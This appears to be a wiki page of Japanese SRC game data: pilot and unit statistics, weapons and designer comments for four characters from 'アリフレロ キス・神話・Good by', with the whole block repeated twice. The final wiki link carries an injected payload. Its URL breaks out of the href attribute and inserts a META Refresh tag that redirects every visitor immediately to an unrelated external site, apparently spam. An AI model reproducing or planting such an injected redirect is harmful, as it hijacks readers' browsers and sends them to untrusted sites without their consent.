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## アリフレロ キス・神話・Good by 黒園葵 黒園葵, くろぞのあおい, (アリフレロ(黒園葵専用)), 1, 2 陸, 4, M, 4800, 180 特殊能力 性別=女性 3700, 120, 900, 85 CABB, AKSG_KurozonoAoiU.bmp ハチェット投げ, 1200, 1, 3, +0, -, 5, -, AABA, +0, 実 ハチェット, 1300, 1, 1, +15, -, -, -, AAAA, +10, 武 # 388/391+ひらめき復活 # 神βのカードはイベント対応で。 # 一応、覚悟+決意で表していたりもします。 三井川正人 三井川正人, みついがわまさと, (アリフレロ(三井川正人専用)), 1, 2 陸, 3, M, 3300, 160 特殊能力 ステルス無効化 性別=男性 3100, 80, 600, 65 CACB, AKSG_MitsuigawaMasatoU.bmp <長距離走者狙い>, 1300, 5, 7, +0, 6, -, -, AABA, +0, 銃 # 358/355+集中 # 近寄られたら終わり。 # 格闘? # こいつにそんなことが出来るわけないじゃないですか。 足利寿 足利寿, あしかがひさし, (アリフレロ(足利寿専用)), 1, 2 陸, 4, M, 3600, 160 特殊能力 性別=男性 3600, 110, 900, 90 BACB, AKSG_AshikagaHisashiU.bmp 回し蹴り, 1100, 1, 1, +15, -, -, -, AAAA, +0, 突 長刀, 1200, 1, 1, +0, -, -, -, AAAA, +10, 武 # 400/413+ひらめき集中 # 地味~に強かったり。火力は無いけど。 αキス(アリフレロ) αキス, (アリフレロ(αキス専用)), 1, 2 陸, 3, M, 4000, 170 特殊能力 緊急テレポートLv3=テレポート 1 10 耐性=時 性別=女性 4000, 200, 1100, 50 BABA, AKSG_AlphaKissU.bmp 接触, 1100, 1, 1, +15, -, -, -, AAAA, +10, 突貫 分解, 1500, 1, 1, -10, -, 20, -, AAAA, +20, 接貫破 # 350/335+復活 # 狙う的球以外からの攻撃を無効化したりしますが、 # それはシナリオ側がどうするか考えるべきと思われるので再現しません。
## アリフレロ キス・神話・Good by 黒園葵 黒園葵, くろぞのあおい, (アリフレロ(黒園葵専用)), 1, 2 陸, 4, M, 4800, 180 特殊能力 性別=女性 3700, 120, 900, 85 CABB, AKSG_KurozonoAoiU.bmp ハチェット投げ, 1200, 1, 3, +0, -, 5, -, AABA, +0, 実 ハチェット, 1300, 1, 1, +15, -, -, -, AAAA, +10, 武 # 388/391+ひらめき復活 # 神βのカードはイベント対応で。 # 一応、覚悟+決意で表していたりもします。 三井川正人 三井川正人, みついがわまさと, (アリフレロ(三井川正人専用)), 1, 2 陸, 3, M, 3300, 160 特殊能力 ステルス無効化 性別=男性 3100, 80, 600, 65 CACB, AKSG_MitsuigawaMasatoU.bmp <長距離走者狙い>, 1300, 5, 7, +0, 6, -, -, AABA, +0, 銃 # 358/355+集中 # 近寄られたら終わり。 # 格闘? # こいつにそんなことが出来るわけないじゃないですか。 足利寿 足利寿, あしかがひさし, (アリフレロ(足利寿専用)), 1, 2 陸, 4, M, 3600, 160 特殊能力 性別=男性 3600, 110, 900, 90 BACB, AKSG_AshikagaHisashiU.bmp 回し蹴り, 1100, 1, 1, +15, -, -, -, AAAA, +0, 突 長刀, 1200, 1, 1, +0, -, -, -, AAAA, +10, 武 # 400/413+ひらめき集中 # 地味~に強かったり。火力は無いけど。 αキス(アリフレロ) αキス, (アリフレロ(αキス専用)), 1, 2 陸, 3, M, 4000, 170 特殊能力 緊急テレポートLv3=テレポート 1 10 耐性=時 性別=女性 4000, 200, 1100, 50 BABA, AKSG_AlphaKissU.bmp 接触, 1100, 1, 1, +15, -, -, -, AAAA, +10, 突貫 分解, 1500, 1, 1, -10, -, 20, -, AAAA, +20, 接貫破 # 350/335+復活 # 狙う的球以外からの攻撃を無効化したりしますが、 # それはシナリオ側がどうするか考えるべきと思われるので再現しません。 [[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

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